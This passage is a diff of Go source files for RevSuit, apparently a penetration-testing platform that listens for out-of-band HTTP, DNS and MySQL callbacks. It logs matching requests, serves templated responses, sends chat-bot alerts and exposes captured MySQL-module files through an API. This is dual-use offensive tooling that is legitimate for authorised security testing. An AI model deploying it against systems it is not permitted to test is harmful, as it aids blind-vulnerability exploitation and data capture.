// Copy auth data.
pos += copy(data[pos:], pluginData)
// Sanity check.
if pos != len(data) {
return vterrors.Errorf(vtrpc.Code_INTERNAL, "error building AuthSwitchRequestPacket packet: got %v bytes expected %v", pos, len(data))
}
return c.writeEphemeralPacket()
}
// Whenever we move to a new version of go, we will need add any new supported TLS versions here
func tlsVersionToString(version uint16) string {
switch version {
case tls.VersionSSL30:
return versionSSL30
case tls.VersionTLS10:
return versionTLS10
case tls.VersionTLS11:
return versionTLS11
case tls.VersionTLS12:
return versionTLS12
default:
return versionTLSUnknown
}
}
+74
View File
@@ -0,0 +1,74 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"bytes"
"fmt"
"vitess.io/vitess/go/vt/sqlparser"
)
// SQLError is the error structure returned from calling a db library function
type SQLError struct {
Num int
State string
Message string
Query string
}
// NewSQLError creates a new SQLError.
// If sqlState is left empty, it will default to "HY000" (general error).
// TODO: Should be aligned with vterrors, stack traces and wrapping
func NewSQLError(number int, sqlState string, format string, args ...interface{}) *SQLError {
if sqlState == "" {
sqlState = SSUnknownSQLState
}
return &SQLError{
Num: number,
State: sqlState,
Message: fmt.Sprintf(format, args...),
}
}
// Error implements the error interface
func (se *SQLError) Error() string {
buf := &bytes.Buffer{}
buf.WriteString(se.Message)
// Add MySQL errno and SQLSTATE in a format that we can later parse.
// There's no avoiding string parsing because all errors
// are converted to strings anyway at RPC boundaries.
// See NewSQLErrorFromError.
fmt.Fprintf(buf, " (errno %v) (sqlstate %v)", se.Num, se.State)
if se.Query != "" {
fmt.Fprintf(buf, " during query: %s", sqlparser.TruncateForLog(se.Query))
}
return buf.String()
}
// Number returns the internal MySQL error code.
func (se *SQLError) Number() int {
return se.Num
}
// SQLState returns the SQLSTATE value.
func (se *SQLError) SQLState() string {
return se.State
}
+71
View File
@@ -0,0 +1,71 @@
package vmysql
import (
"vitess.io/vitess/go/sqltypes"
"vitess.io/vitess/go/vt/proto/query"
)
type Column struct {
// Name is the name of the column.
Name string
// Type is the data type of the column.
Type query.Type
// Default contains the default value of the column or nil if it is NULL.
Default interface{}
// Nullable is true if the column can contain NULL values, or false
// otherwise.
Nullable bool
// Source is the name of the table this column came from.
Source string
// PrimaryKey is true if the column is part of the primary key for its table.
PrimaryKey bool
}
type Schema []*Column
type SQLRow []interface{}
func SchemaToFields(s Schema) []*query.Field {
fields := make([]*query.Field, len(s))
for i, c := range s {
var charset uint32 = CharacterSetUtf8
if c.Type == sqltypes.Blob {
charset = CharacterSetBinary
}
fields[i] = &query.Field{
Name: c.Name,
Type: c.Type,
Charset: charset,
}
}
return fields
}
func RowToSQL(row SQLRow) []sqltypes.Value {
o := make([]sqltypes.Value, len(row))
for i, v := range row {
switch value := v.(type) {
case []byte:
o[i] = sqltypes.MakeTrusted(sqltypes.Blob, value)
case string:
o[i] = sqltypes.MakeTrusted(sqltypes.Text, []byte(value))
default:
o[i] = sqltypes.MakeTrusted(sqltypes.Blob, []byte{})
}
}
return o
}
func GetMysqlVars() *sqltypes.Result {
r := &sqltypes.Result{Fields: SchemaToFields(Schema{
{Name: "system_time_zone", Type: sqltypes.Text, Nullable: false},
{Name: "time_zone", Type: sqltypes.Text, Nullable: false},
{Name: "init_connect", Type: sqltypes.Text, Nullable: false},
{Name: "auto_increment_increment", Type: sqltypes.Text, Nullable: false},
{Name: "max_allowed_packet", Type: sqltypes.Text, Nullable: false},
})}
r.Rows = append(r.Rows, RowToSQL(SQLRow{"UTC", "SYSTEM", "", "1", "10000"}))
return r
}
+5
View File
@@ -0,0 +1,5 @@
package rhttp
type Config struct {
IpHeader string
}
+197
View File
@@ -0,0 +1,197 @@
package rhttp
import (
"math/rand"
"net/http"
"net/http/httputil"
"regexp"
"strconv"
"strings"
"sync"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/qqwry"
log "unknwon.dev/clog/v2"
)
type Server struct {
Addr string
Token string
IpHeader string
Router *gin.Engine
ApiGroup *gin.RouterGroup
rules []*Rule
rulesLock sync.RWMutex
}
const (
queryVar = `\$\{query\.(.+?)\}`
bodyVar = `\$\{body\.(.+?)\}`
headerVar = `\$\{header\.(.+?)\}`
)
var (
server *Server
once sync.Once
queryVarMatcher = regexp.MustCompile(queryVar)
bodyVarMatcher = regexp.MustCompile(bodyVar)
headerVarMatcher = regexp.MustCompile(headerVar)
)
func GetServer() *Server {
once.Do(func() {
letterBytes := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
randString := func(n int) string {
b := make([]byte, n)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}
server = &Server{
Addr: ":80",
Token: randString(9),
rules: make([]*Rule, 0),
}
})
return server
}
func (s *Server) SetAddr(addr string) *Server {
s.Addr = addr
return s
}
func (s *Server) SetToken(token string) *Server {
s.Token = token
return s
}
func (s *Server) SetIpHeader(header string) *Server {
s.IpHeader = header
return s
}
func (s *Server) getRules() []*Rule {
defer s.rulesLock.RUnlock()
s.rulesLock.RLock()
return s.rules
}
func (s *Server) updateRules() error {
db := database.DB.Model(new(Rule))
s.rulesLock.Lock()
db.Order("rank desc").Find(&s.rules)
s.rulesLock.Unlock()
return nil
}
func (s *Server) Run() {
if err := s.updateRules(); err != nil {
log.Error(err.Error())
}
log.Info("Starting HTTP Server at %s, token:%s", s.Addr, s.Token)
err := s.Router.Run(s.Addr)
if err != nil {
log.Fatal(err.Error())
}
}
func getRawRequest(r *http.Request) ([]byte, error) {
// to resolve httputil.DumpRequestOut error with "" protocol
r.URL.Scheme = "http"
r.URL.Host = "revsuit"
return httputil.DumpRequestOut(r, true)
}
func compileTpl(c *gin.Context, tpl string) (compiled string) {
compiled = tpl
if queryVarMatcher.FindString(tpl) != "" {
compiled = queryVarMatcher.ReplaceAllString(compiled, c.Query(queryVarMatcher.FindStringSubmatch(tpl)[1]))
}
if bodyVarMatcher.FindString(tpl) != "" {
compiled = bodyVarMatcher.ReplaceAllString(compiled, c.PostForm(bodyVarMatcher.FindStringSubmatch(tpl)[1]))
}
if headerVarMatcher.FindString(tpl) != "" {
compiled = headerVarMatcher.ReplaceAllString(compiled, c.GetHeader(headerVarMatcher.FindStringSubmatch(tpl)[1]))
}
return
}
func (s *Server) Receive(c *gin.Context) {
u := c.Request.URL.String()
for _, _rule := range s.getRules() {
flag, flagGroup := _rule.Match(u)
if flag == "" {
continue
}
var (
ip = strings.Split(c.Request.RemoteAddr, ":")[0]
area = qqwry.Area(ip)
)
if ip1 := c.Request.Header.Get(s.IpHeader); s.IpHeader != "" && ip1 != "" {
ip = ip1
delete(c.Request.Header, s.IpHeader)
}
raw, err := getRawRequest(c.Request)
if err != nil {
log.Warn(err.Error())
}
// create new record
r, err := NewRecord(_rule, flag, c.Request.Method, u, ip, area, string(raw))
if err != nil {
log.Error("HTTP record(rule_id:%d) created failed :%s", _rule.ID, err.Error())
code, err := strconv.Atoi(compileTpl(c, _rule.ResponseStatusCode))
if err != nil || code < 100 || code > 600 {
code = 400
}
c.String(code, compileTpl(c, _rule.ResponseBody))
return
}
log.Trace("HTTP record(id:%d) has been created", r.ID)
//only send to client when this connection recorded first time.
if _rule.PushToClient {
if flagGroup != "" {
var count int64
database.DB.Where("rule_name=? and raw like ?", _rule.Name, "%"+flagGroup+"%").Model(&Record{}).Count(&count)
if count <= 1 {
r.PushToClient()
log.Trace("HTTP record(id:%d) has been put to client message queue", r.ID)
}
}
r.PushToClient()
log.Trace("HTTP record(id:%d) has been put to client message queue", r.ID)
}
//send notice
if _rule.Notice {
go func() {
r.Notice()
log.Trace("HTTP record(id:%d) notice has been sent", r.ID)
}()
}
for header, value := range _rule.ResponseHeaders {
c.Header(compileTpl(c, header), compileTpl(c, value))
}
code, err := strconv.Atoi(compileTpl(c, _rule.ResponseStatusCode))
if err != nil || code < 100 || code > 600 {
code = 400
}
c.String(code, compileTpl(c, _rule.ResponseBody))
return
}
}
+106
View File
@@ -0,0 +1,106 @@
package rhttp
import (
"strconv"
"time"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/notice"
"github.com/li4n0/revsuit/internal/record"
)
var _ record.Record = (*Record)(nil)
type Record struct {
Method string `gorm:"index" form:"method" json:"method"`
Path string `form:"path" json:"path"`
record.BaseRecord
RawRequest string `json:"raw_request" notice:"-"`
Rule Rule `gorm:"foreignKey:RuleName;references:Name;constraint:OnUpdate:CASCADE,OnDelete:SET NULL;" form:"-" json:"-" notice:"-"`
}
func (Record) TableName() string {
return "http_records"
}
func (r Record) Notice() {
notice.Notice(r)
}
func NewRecord(rule *Rule, flag, method, url, ip, area, raw string) (r *Record, err error) {
r = &Record{
BaseRecord: record.BaseRecord{
Flag: flag,
RemoteIP: ip,
IpArea: area,
RequestTime: time.Now(),
},
Method: method,
Path: url,
RawRequest: raw,
Rule: *rule,
}
err = database.DB.Create(r).Error
return
}
func ListRecords(c *gin.Context) {
var (
httpRecord Record
res []Record
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&httpRecord); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err,
"result": nil,
})
return
}
db := database.DB.Model(&httpRecord)
if httpRecord.Flag != "" {
db.Where("flag = ?", httpRecord.Flag)
}
if httpRecord.Method != "" {
db.Where("method = ?", httpRecord.Method)
}
if httpRecord.Path != "" {
db.Where("path like ?", "%"+httpRecord.Path+"%")
}
if httpRecord.RemoteIP != "" {
db.Where("remote_ip = ?", httpRecord.RemoteIP)
}
if httpRecord.RuleName != "" {
db.Where("rule_name = ?", httpRecord.RuleName)
}
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
+199
View File
@@ -0,0 +1,199 @@
package rhttp
import (
"strconv"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/rule"
"gorm.io/gorm/clause"
log "unknwon.dev/clog/v2"
)
// Http rule struct
type Rule struct {
rule.BaseRule
ResponseStatusCode string `gorm:"index;default:200;not null" form:"response_status_code" json:"response_status_code"`
ResponseHeaders database.MapField `form:"response_headers" json:"response_headers"`
ResponseBody string `gorm:"default:Hello RevSuit!" form:"response_body" json:"response_body"`
}
func (Rule) TableName() string {
return "http_rules"
}
// New http rule struct
func NewRule(name, flagFormat, responseBody string, pushToClient, notice bool, responseStatus string, responseHeaders database.MapField, ) *Rule {
return &Rule{
BaseRule: rule.BaseRule{
Name: name,
FlagFormat: flagFormat,
PushToClient: pushToClient,
Notice: notice,
},
ResponseStatusCode: responseStatus,
ResponseHeaders: responseHeaders,
ResponseBody: responseBody,
}
}
// Create or update the http rule in database and ruleSet
func (r *Rule) CreateOrUpdate() (err error) {
db := database.DB.Model(r)
err = db.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "id"}},
DoUpdates: clause.AssignmentColumns(
[]string{
"name",
"flag_format",
"rank",
"response_status_code",
"response_headers",
"response_body",
"push_to_client",
"notice",
}),
}).Create(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// Delete the http rule in database and ruleSet
func (r *Rule) Delete() (err error) {
db := database.DB.Model(r)
err = db.Delete(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// List all http rules those satisfy the filter
func ListRules(c *gin.Context) {
var (
httpRule Rule
res []Rule
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&httpRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err,
"result": nil,
})
return
}
db := database.DB.Model(&httpRule)
if httpRule.Name != "" {
db.Where("name = ?", httpRule.Name)
}
db.Count(&count)
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Order("rank desc").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
// Create or update http rule from user submit
func UpsertRules(c *gin.Context) {
var (
httpRule Rule
update bool
)
if err := c.ShouldBind(&httpRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if httpRule.ID != 0 {
update = true
}
if err := httpRule.CreateOrUpdate(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if update {
log.Trace("HTTP rule(id:%d) has been updated", httpRule.ID)
} else {
log.Trace("HTTP rule(id:%d) has been created", httpRule.ID)
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": nil,
})
}
// Delete http rule from user submit
func DeleteRules(c *gin.Context) {
var httpRule Rule
if err := c.ShouldBind(&httpRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if err := httpRule.Delete(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
log.Trace("HTTP rule(id:%d) has been deleted", httpRule.ID)
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"data": nil,
})
return
}
+25
View File
@@ -0,0 +1,25 @@
package server
import (
"github.com/li4n0/revsuit/pkg/dns"
"github.com/li4n0/revsuit/pkg/mysql"
"github.com/li4n0/revsuit/pkg/rhttp"
)
type noticeConfig struct {
DingTalk string
Lark string
WeiXin string
Slack string
}
type Config struct {
Addr string
Token string
Database string
LogLevel string
Notice noticeConfig
rhttp.Config
DNS dns.Config
Mysql mysql.Config
}
+29
View File
@@ -0,0 +1,29 @@
package server
import (
"io"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/record"
log "unknwon.dev/clog/v2"
)
func ping(c *gin.Context) {
c.SetCookie("token", c.Request.Header["Token"][0], 0, "/revsuit/api/", c.Request.Host, true, true)
c.String(200, "pong")
}
func events(c *gin.Context) {
log.Info("Receive connection from ", c.Request.RemoteAddr)
c.Stream(func(w io.Writer) bool {
c.SSEvent("message", "connect succeed")
select {
case <-c.Writer.CloseNotify():
return false
case r := <-record.Channel():
c.SSEvent("message", r.GetFlag())
}
return true
})
log.Info(c.Request.RemoteAddr, "disconnect")
}
+83
View File
@@ -0,0 +1,83 @@
package server
import (
"io/fs"
"net/http"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/frontend"
"github.com/li4n0/revsuit/pkg/dns"
"github.com/li4n0/revsuit/pkg/mysql"
"github.com/li4n0/revsuit/pkg/rhttp"
log "unknwon.dev/clog/v2"
)
func (revsuit *Revsuit) registerRouter() {
revsuit.http.Router = gin.Default()
revsuit.registerPlatformRouter()
revsuit.registerHttpRouter()
}
func (revsuit *Revsuit) registerPlatformRouter() {
// /api need Authorization
api := revsuit.http.Router.Group("/revsuit/api")
api.Use(func(c *gin.Context) {
cookieToken, err := c.Request.Cookie("token")
if !(c.Request.Header.Get("Token") == revsuit.http.Token || err == nil && cookieToken.Value == revsuit.http.Token) {
c.Abort()
c.Status(403)
return
}
})
revsuit.http.ApiGroup = api
//platform routers
api.GET("/events", events)
api.GET("/ping", ping)
}
func (revsuit *Revsuit) registerHttpRouter() {
revsuit.http.Router.NoRoute(revsuit.http.Receive)
//register frontend
fe, err := fs.Sub(frontend.FS, "dist")
if err != nil {
log.Fatal("Failed to sub path `dist`: %v", err)
}
revsuit.http.Router.StaticFS("/revsuit/admin", http.FS(fe))
// init record router group
recordGroup := revsuit.http.ApiGroup.Group("/record")
httpGroup := recordGroup.Group("/http")
httpGroup.GET("", rhttp.ListRecords)
dnsGroup := recordGroup.Group("/dns")
dnsGroup.GET("", dns.List)
mysqlGroup := recordGroup.Group("/mysql")
mysqlGroup.GET("", mysql.List)
// init rule router group
ruleGroup := revsuit.http.ApiGroup.Group("/rule")
httpGroup = ruleGroup.Group("/http")
httpGroup.GET("", rhttp.ListRules)
httpGroup.POST("", rhttp.UpsertRules)
httpGroup.DELETE("", rhttp.DeleteRules)
dnsGroup = ruleGroup.Group("/dns")
dnsGroup.GET("", dns.ListRules)
dnsGroup.POST("", dns.UpsertRules)
dnsGroup.DELETE("", dns.DeleteRules)
mysqlGroup = ruleGroup.Group("/mysql")
mysqlGroup.GET("", mysql.ListRules)
mysqlGroup.POST("", mysql.UpsertRules)
mysqlGroup.DELETE("", mysql.DeleteRules)
// init file router group
fileGroup := revsuit.http.ApiGroup.Group("/file")
fileGroup.GET("/mysql/:id", mysql.GetFile)
}
+136
View File
@@ -0,0 +1,136 @@
package server
import (
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/notice"
"github.com/li4n0/revsuit/pkg/dns"
"github.com/li4n0/revsuit/pkg/mysql"
http "github.com/li4n0/revsuit/pkg/rhttp"
"gorm.io/gorm/logger"
log "unknwon.dev/clog/v2"
)
type Revsuit struct {
http *http.Server
dns *dns.Server
mysql *mysql.Server
}
func initDatabase(dsn string) {
err := database.InitDB("sqlite", dsn)
if err != nil {
log.Fatal(err.Error())
}
err = database.DB.AutoMigrate(&http.Record{})
err = database.DB.AutoMigrate(&dns.Record{})
err = database.DB.AutoMigrate(&mysql.Record{})
err = database.DB.AutoMigrate(&http.Rule{})
err = database.DB.AutoMigrate(&dns.Rule{})
err = database.DB.AutoMigrate(&mysql.Rule{})
err = database.DB.AutoMigrate(&mysql.File{})
if err != nil {
log.Fatal(err.Error())
}
}
func initLog(level string) {
var logLevel log.Level
switch level {
case "debug":
gin.SetMode(gin.DebugMode)
database.DB.Logger.LogMode(logger.Info)
logLevel = log.LevelTrace
case "info":
gin.SetMode(gin.DebugMode)
database.DB.Logger.LogMode(logger.Info)
logLevel = log.LevelInfo
case "warning":
gin.SetMode(gin.ReleaseMode)
database.DB.Logger.LogMode(logger.Warn)
logLevel = log.LevelWarn
case "error":
gin.SetMode(gin.ReleaseMode)
database.DB.Logger.LogMode(logger.Error)
logLevel = log.LevelError
case "fatal":
gin.SetMode(gin.ReleaseMode)
database.DB.Logger.LogMode(logger.Error)
logLevel = log.LevelFatal
}
_ = log.NewConsole(100,
log.ConsoleConfig{
Level: logLevel,
})
}
func initNotice(nc noticeConfig) {
n := notice.New()
if nc.DingTalk != "" {
n.AddBot(&notice.DingTalk{
URL: nc.DingTalk,
})
}
if nc.Lark != "" {
n.AddBot(&notice.Lark{
URL: nc.Lark,
})
}
if nc.WeiXin != "" {
n.AddBot(&notice.Weixin{
URL: nc.WeiXin,
})
}
if nc.Slack != "" {
n.AddBot(&notice.Slack{
URL: nc.Slack,
})
}
}
func New(c *Config) *Revsuit {
initDatabase(c.Database)
initLog(c.LogLevel)
initNotice(c.Notice)
s := &Revsuit{
http: http.GetServer(),
}
if c.DNS.Enable {
s.dns = dns.GetServer()
}
if c.Mysql.Enable {
s.mysql = mysql.GetServer()
s.mysql.Config = c.Mysql
}
if c.Addr != "" {
s.http.SetAddr(c.Addr)
}
if c.Token != "" {
s.http.SetToken(c.Token)
}
if c.IpHeader != "" {
s.http.SetIpHeader(c.IpHeader)
}
return s
}
func (revsuit *Revsuit) Run() {
defer log.Stop()
revsuit.registerRouter()
if revsuit.dns != nil {
go revsuit.dns.Run()
}
if revsuit.mysql != nil {
go revsuit.mysql.Run()
}
revsuit.http.Run()
}